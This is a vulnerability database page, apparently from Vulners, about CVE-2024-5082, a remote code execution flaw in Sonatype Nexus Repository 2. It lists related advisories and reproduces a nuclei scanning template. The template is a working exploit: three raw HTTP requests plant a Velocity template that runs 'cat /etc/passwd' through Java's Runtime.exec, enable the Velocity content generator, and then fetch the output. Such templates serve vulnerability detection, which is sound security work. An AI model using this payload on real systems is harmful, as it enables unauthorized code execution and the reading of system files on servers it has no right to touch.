Lucene search
+L

Nexus Repository 2 - Remote Code Execution

🗓️ 16 Aug 2026 02:26:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 61 Views

Remote Code Execution vulnerability in Nexus Repository 2 up to version 2.15.1; severity: high.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2024-5082
15 Jul 202612:57
githubexploit
bdu_fstec
BDU FSTEC
The vulnerability of Sonatype Nexus Repository Manager, related to improper code generation management, allows a perpetrator to execute arbitrary code.
9 Dec 202400:00
bdu_fstec
circl
Circl
CVE-2024-5082
14 Nov 202403:11
circl
cnnvd
CNNVD
Sonatype Nexus Repository 代码注入漏洞
13 Nov 202400:00
cnnvd
cve
CVE
CVE-2024-5082
14 Nov 202402:58
cve
cvelist
Cvelist
CVE-2024-5082 Nexus Repository 2 - Remote Code Execution
14 Nov 202402:58
cvelist
euvd
EUVD
EUVD-2024-47116
14 Nov 202402:58
euvd
nvd
NVD
CVE-2024-5082
14 Nov 202403:15
nvd
ptsecurity
Positive Technologies
PT-2024-9211 · Sonatype · Sonatype Nexus Repository
17 May 202400:00
ptsecurity
redhatcve
RedhatCVE
CVE-2024-5082
23 May 202506:33
redhatcve
Rows per page
id: CVE-2024-5082

info:
  name: Nexus Repository 2 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-5082.
  reference:
    - https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/
    - https://support.sonatype.com/hc/en-us/articles/30694125380755
  classification:
    epss-score: 0.01956
    epss-percentile: 0.78557
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"Nexus Repository"
  tags: cve,cve2024,intrusive,nexus,sonartype,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"

http:
  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Authorization: Basic {{base64(credentials)}}
        Content-type: text/xml

        #set($engine="")
        #set($run=$engine.getClass().forName("java.lang.Runtime"))
        #set($runtime=$run.getRuntime())
        #set($proc=$runtime.exec("cat /etc/passwd"))
        #set($null=$proc.waitFor())
        #set($istr=$proc.getInputStream())
        #set($chr=$engine.getClass().forName("java.lang.Character"))
        #set($output="")
        #set($string=$engine.getClass().forName("java.lang.String"))
        #foreach($i in [1..$istr.available()])
        #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
        #end
        $output

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}
        Content-type: application/json

        {"contentGenerator":"velocity"}

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: content_type
        words:
          - "text/plain"
# digest: 490a00463044022000cab6fb52d40c678a51e8982d210499c0dee080909139be6b9897b723370e0c0220643b1f501a38f34c521cf6664045eb180c766cf5f3784c64d0ffbfe132170e9a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 47.1
EPSS0.01956
SSVC
61